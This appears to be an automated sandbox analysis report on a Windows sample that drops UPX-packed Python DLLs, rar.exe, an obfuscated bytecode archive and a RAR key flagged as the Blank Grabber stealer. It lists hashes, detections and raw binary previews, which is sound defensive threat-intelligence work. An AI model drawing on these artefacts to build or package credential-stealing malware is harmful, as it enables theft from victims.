                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j2U..\...\...\..s....\..]...\.._...\..X...\..Y...\...]...\..s]...\...].z.\..._...\...Q...\...\...\.......\...^...\.Rich..\.........................PE..d......g.........." ...).....0...... .....................................................`.....................................................................t+..........\....................................... ...@...........................................UPX0....................................UPX1.............~..................@....rsrc....0.......$..................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_hashlib.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):36112
                                                                                                                                                                                                                                        Entropy (8bit):7.6548425105220375
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:yzzaDWoin9vvSwNbHyxBpnrIJvIoS5YiSyvE62Em:yzOW6wNbHCrIJvIoQ7Syc6c
                                                                                                                                                                                                                                        MD5:D6F123C4453230743ADCC06211236BC0
                                                                                                                                                                                                                                        SHA1:9F9ADE18AC3E12BCC09757A3C4B5EE74CF5E794E
                                                                                                                                                                                                                                        SHA-256:7A904FA6618157C34E24AAAC33FDF84035215D82C08EEC6983C165A49D785DC9
                                                                                                                                                                                                                                        SHA-512:F5575D18A51207B4E9DF5BB95277D4D03E3BB950C0E7B6C3DD2288645E26E1DE8EDCF634311C21A6BDC8C3378A71B531F840B8262DB708726D36D15CB6D02441
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.A.6...6...6...N%..6.......6.......6.......6.......6.......6...N...6.......6...6..26.......6.......6....I..6.......6..Rich.6..........PE..d......g.........." ...).P..........@........................................@............`.........................................|;..P....9.......0.......................;......................................@+..@...........................................UPX0....................................UPX1.....P.......N..................@....rsrc........0.......R..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_lzma.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):88336
                                                                                                                                                                                                                                        Entropy (8bit):7.9108932581373015
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:wlkdTJ3vEbPVfwGX+zD2z4qVHCy4N491I4lSi5j68Xi4az2yhIJ01uv7SyXN:wUFvEbdfwGOnqpCb491IK/EIJ01uvj
                                                                                                                                                                                                                                        MD5:055EB9D91C42BB228A72BF5B7B77C0C8
                                                                                                                                                                                                                                        SHA1:5659B4A819455CF024755A493DB0952E1979A9CF
                                                                                                                                                                                                                                        SHA-256:DE342275A648207BEF9B9662C9829AF222B160975AD8925CC5612CD0F182414E
                                                                                                                                                                                                                                        SHA-512:C5CBA050F4B805A299F5D04EC0DCE9B718A16BC335CAC17F23E96519DA0B9EAAF25AE0E9B29EF3DC56603BFE8317CDC1A67EE6464D84A562CF04BEA52C31CFAC
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,...,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..u,.V.,..-.V.,Rich.V.,................PE..d......g.........." ...). .......p........................................................`.........................................4...L....................0..........................................................@...........................................UPX0.....p..............................UPX1..... ..........................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_queue.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):27408
                                                                                                                                                                                                                                        Entropy (8bit):7.449801379195215
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:he8SQ/XAVUI1ZCXG5oZa7gJX28IJ9U4NVTHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:he8XPAVhZwvpm8IJ9U4X5YiSyvTo2Et
                                                                                                                                                                                                                                        MD5:513DCE65C09B3ABC516687F99A6971D8
                                                                                                                                                                                                                                        SHA1:8F744C6F79A23AA380D9E6289CB4504B0E69FE3B
                                                                                                                                                                                                                                        SHA-256:D4BE41574C3E17792A25793E6F5BF171BAEEB4255C08CB6A5CD7705A91E896FC
                                                                                                                                                                                                                                        SHA-512:621F9670541CAC5684892EC92378C46FF5E1A3D065D2E081D27277F1E83D6C60510C46CAB333C6ED0FF81A25A1BDC0046C7001D14B3F885E25019F9CDD550ED0
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T...........-.........................................................................A...........Rich...................PE..d.....g.........." ...).0..........@.....................................................`.............................................L.......P............`..l...........<.......................................@...@...........................................UPX0....................................UPX1.....0.......,..................@....rsrc................0..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_socket.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):45328
                                                                                                                                                                                                                                        Entropy (8bit):7.729647917060796
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:BVO07RbhED2LEIuo4OCYkbaEts+ZIQivK+F8kp9jHIJywFmk5YiSyv+2Eb:zPkD2LEIuo4E5C30d1jHIJywFmu7Sy21
                                                                                                                                                                                                                                        MD5:14392D71DFE6D6BDC3EBCDBDE3C4049C
                                                                                                                                                                                                                                        SHA1:622479981E1BBC7DD13C1A852AE6B2B2AEBEA4D7
                                                                                                                                                                                                                                        SHA-256:A1E39E2386634069070903E2D9C2B51A42CB0D59C20B7BE50EF95C89C268DEB2
                                                                                                                                                                                                                                        SHA-512:0F6359F0ADC99EFAD5A9833F2148B066B2C4BAF564BA16090E04E2B4E3A380D6AFF4C9E7AEAA2BA247F020F7BD97635FCDFE4E3B11A31C9C6EA64A4142333424
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............ll}.ll}.ll}...}.ll}..m|.ll}..o|.ll}..h|.ll}..i|.ll}..m|.ll}.lm}.ll}..m|.ll}..a|.ll}..l|.ll}..}.ll}..n|.ll}Rich.ll}........PE..d.....g.........." ...).p...........q....................................................`.........................................D...P....................0.......................................................}..@...........................................UPX0....................................UPX1.....p.......p..................@....rsrc................t..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_sqlite3.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60176
                                                                                                                                                                                                                                        Entropy (8bit):7.847943448203495
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:HqbxjT8JFLTgRG/dv8xxEOKI+C6IJvQl67SydP:KbFT8JZg+8xBd+XIJvQl6L
                                                                                                                                                                                                                                        MD5:8CD40257514A16060D5D882788855B55
                                                                                                                                                                                                                                        SHA1:1FD1ED3E84869897A1FAD9770FAF1058AB17CCB9
                                                                                                                                                                                                                                        SHA-256:7D53DF36EE9DA2DF36C2676CFAEA84EE87E7E2A15AD8123F6ABB48717C3BC891
                                                                                                                                                                                                                                        SHA-512:A700C3CE95CE1B3FD65A9F335C7C778643B2F7140920FE7EBF5D9BE1089BA04D6C298BF28427CA774FBF412D7F9B77F45708A8A0729437F136232E72D6231C34
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V...7.7.7.Oc..7...7.....7...7.....7.....7...7..O.7.7.6.....7...7.....7...7.Rich.7.........................PE..d......g.........." ...)............p-.......................................P............`..........................................K..P....I.......@.......................K......................................p9..@...........................................UPX0....................................UPX1................................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_ssl.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):68368
                                                                                                                                                                                                                                        Entropy (8bit):7.86108869046165
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:knDFWlIqOuazwp1eBNcnYTpXZwWVfTwIJL7O497Sy5ArQ:+5MtOu89KYTXwEEIJL7OKjAQ
                                                                                                                                                                                                                                        MD5:7EF27CD65635DFBA6076771B46C1B99F
                                                                                                                                                                                                                                        SHA1:14CB35CE2898ED4E871703E3B882A057242C5D05
                                                                                                                                                                                                                                        SHA-256:6EF0EF892DC9AD68874E2743AF7985590BB071E8AFE3BBF8E716F3F4B10F19B4
                                                                                                                                                                                                                                        SHA-512:AC64A19D610448BADFD784A55F3129D138E3B697CF2163D5EA5910D06A86D0EA48727485D97EDBA3C395407E2CCF8868E45DD6D69533405B606E5D9B41BAADC0
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FM.^.,k..,k..,k..T...,k...j..,k...h..,k...o..,k...n..,k.J.j..,k...j..,k..,j..-k.ITj..,k.J.f..,k.J.k..,k.J....,k.J.i..,k.Rich.,k.................PE..d......g.........." ...).........P.......`...................................@............`.........................................l<..d....9.......0.......................<.......................................(..@...........................................UPX0.....P..............................UPX1.........`......................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1394456
                                                                                                                                                                                                                                        Entropy (8bit):5.531698507573688
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:IW7WpLV6yNLeGQbVz3YQfiBgDPtLwjFx278e6ZQnHS91lqyL+DXUgnxOr+dx5/GO:B7WpLtHa9BHSHAW+dx5/GP05vddD
                                                                                                                                                                                                                                        MD5:A9CBD0455B46C7D14194D1F18CA8719E
                                                                                                                                                                                                                                        SHA1:E1B0C30BCCD9583949C247854F617AC8A14CBAC7
                                                                                                                                                                                                                                        SHA-256:DF6C19637D239BFEDC8CD13D20E0938C65E8FDF340622FF334DB533F2D30FA19
                                                                                                                                                                                                                                        SHA-512:B92468E71490A8800E51410DF7068DD8099E78C79A95666ECF274A9E9206359F049490B8F60B96081FAFD872EC717E67020364BCFA972F26F0D77A959637E528
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:PK..........!..b.e............_collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\blank.aes

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):115273
                                                                                                                                                                                                                                        Entropy (8bit):7.719514970206416
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:OVm1yGYMbG8mPjDVMjlZz4JVNqhOV/6Qsb:OVK7YMS7Pj6xtQNtV/6pb
                                                                                                                                                                                                                                        MD5:F3793C258903E514E087498C6F5D5980
                                                                                                                                                                                                                                        SHA1:F7662DBFFD104C5E0A1A5EED21E35C6A6A2F3524
                                                                                                                                                                                                                                        SHA-256:359412878770E13A0C4EC53FAB6A1B93B692FFA8DA132A814142BFF943C41AEC
                                                                                                                                                                                                                                        SHA-512:D1ED3FEF812ADC20E5F58FBDB3EA6A81D2FE7668E218B8C9C485730EF845748AAA6A03A977394F04D2C0763AB3F6D9205075B8B168AC4ED355563972B3624564
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:PK........2.$Z...............stub-o.pyc..........xg...............................\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.S...r.S.r.\.".\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R.........

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\libcrypto-3.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1630488
                                                                                                                                                                                                                                        Entropy (8bit):7.952879310777133
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:f3Y7UGnm3dtF6Q5xkI61CPwDvt3uFlDCm:/Y7Bm3dz6Q5c1CPwDvt3uFlDCm
                                                                                                                                                                                                                                        MD5:8377FE5949527DD7BE7B827CB1FFD324
                                                                                                                                                                                                                                        SHA1:AA483A875CB06A86A371829372980D772FDA2BF9
                                                                                                                                                                                                                                        SHA-256:88E8AA1C816E9F03A3B589C7028319EF456F72ADB86C9DDCA346258B6B30402D
                                                                                                                                                                                                                                        SHA-512:C59D0CBE8A1C64F2C18B5E2B1F49705D079A2259378A1F95F7A368415A2DC3116E0C3C731E9ABFA626D12C02B9E0D72C98C1F91A359F5486133478144FA7F5F7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(. .......p:.`.P...:..................................0S...........`......................................... .P......P.h.....P...... L. .............S..................................... .P.@...........................................UPX0.....p:.............................UPX1..... ....:.....................@....rsrc.........P......"..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\libffi-8.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):29968
                                                                                                                                                                                                                                        Entropy (8bit):7.677818197322094
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
                                                                                                                                                                                                                                        MD5:08B000C3D990BC018FCB91A1E175E06E
                                                                                                                                                                                                                                        SHA1:BD0CE09BB3414D11C91316113C2BECFFF0862D0D
                                                                                                                                                                                                                                        SHA-256:135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
                                                                                                                                                                                                                                        SHA-512:8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\libssl-3.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):227096
                                                                                                                                                                                                                                        Entropy (8bit):7.928768674438361
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:PpEswYxCQyTp2Z/3YUtoQe5efEw+OXDbM3nFLQdFM4mNJQ:PpAqo92h3Y660Ew+OTbAFLQd2lw
                                                                                                                                                                                                                                        MD5:B2E766F5CF6F9D4DCBE8537BC5BDED2F
                                                                                                                                                                                                                                        SHA1:331269521CE1AB76799E69E9AE1C3B565A838574
                                                                                                                                                                                                                                        SHA-256:3CC6828E7047C6A7EFF517AA434403EA42128C8595BF44126765B38200B87CE4
                                                                                                                                                                                                                                        SHA-512:5233C8230497AADB9393C3EE5049E4AB99766A68F82091FE32393EE980887EBD4503BF88847C462C40C3FC786F8D179DAC5CB343B980944ADE43BC6646F5AD5A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..|m..|m..|m.u.m..|m+.}l..|m.u}l..|m+..l..|m+.xl..|m+.yl..|m..}l..|m..}m..|m..xl..|m..|l..|m...m..|m..~l..|mRich..|m................PE..d......f.........." ...(.....P...... z....................................................`............................................,C......8............ ...M.................................................. ...@...........................................UPX0....................................UPX1................................@....rsrc....P.......L..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\python313.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1850640
                                                                                                                                                                                                                                        Entropy (8bit):7.994061638516346
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:49152:l+wZGihuIlkSb9jVzMR3Wbp+JL3o+2H5V8Saryhll3DgsZ:1GbYk8w9YpgLY+2H5eSaryt3DgM
                                                                                                                                                                                                                                        MD5:6EF5D2F77064DF6F2F47AF7EE4D44F0F
                                                                                                                                                                                                                                        SHA1:0003946454B107874AA31839D41EDCDA1C77B0AF
                                                                                                                                                                                                                                        SHA-256:AB7C640F044D2EB7F4F0A4DFE5E719DFD9E5FCD769943233F5CECE436870E367
                                                                                                                                                                                                                                        SHA-512:1662CC02635D63B8114B41D11EC30A2AF4B0B60209196AAC937C2A608588FEE47C6E93163EA6BF958246C32759AC5C82A712EA3D690E796E2070AC0FF9104266
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).@........J..3e...J..................................0f...........`.........................................H_e......Ye......Pe......0]..............'f.4............................?e.(...@@e.@...........................................UPX0......J.............................UPX1.....@....J..2..................@....rsrc........Pe......6..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):630736
                                                                                                                                                                                                                                        Entropy (8bit):6.409476333013752
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
                                                                                                                                                                                                                                        MD5:9C223575AE5B9544BC3D69AC6364F75E
                                                                                                                                                                                                                                        SHA1:8A1CB5EE02C742E937FEBC57609AC312247BA386
                                                                                                                                                                                                                                        SHA-256:90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
                                                                                                                                                                                                                                        SHA-512:57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
                                                                                                                                                                                                                                        Malicious:true
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\rarreg.key

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):456
                                                                                                                                                                                                                                        Entropy (8bit):4.447296373872587
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
                                                                                                                                                                                                                                        MD5:4531984CAD7DACF24C086830068C4ABE
                                                                                                                                                                                                                                        SHA1:FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
                                                                                                                                                                                                                                        SHA-256:58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
                                                                                                                                                                                                                                        SHA-512:00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
                                                                                                                                                                                                                                        Malicious:true
                                                                                                                                                                                                                                        Yara Hits:
                                                                                                                                                                                                                                        • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rarreg.key, Author: Joe Security
                                                                                                                                                                                                                                        Preview:RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\select.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):26384
                                                                                                                                                                                                                                        Entropy (8bit):7.471075877103443
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:LZPhXaWPBRc6hmfZa7gJXIj2IJ9G46SHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:XaWlspYj2IJ9G4L5YiSyvy2ES
                                                                                                                                                                                                                                        MD5:FB70AECE725218D4CBA9BA9BBB779CCC
                                                                                                                                                                                                                                        SHA1:BB251C1756E5BF228C7B60DAEA1E3B6E3F9F0FF5
                                                                                                                                                                                                                                        SHA-256:9D440A1B8A6A43CFAA83B9BC5C66A9A341893A285E02D25A36C4781F289C8617
                                                                                                                                                                                                                                        SHA-512:63E6DB638911966A86F423DA8E539FC4AB7EB7B3FB76C30C16C582CE550F922AD78D1A77FA0605CAFFA524E480969659BF98176F19D5EFFD1FC143B1B13BBAAF
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).0..........@.....................................................`......................................... ...L....................`..............l.......................................P...@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

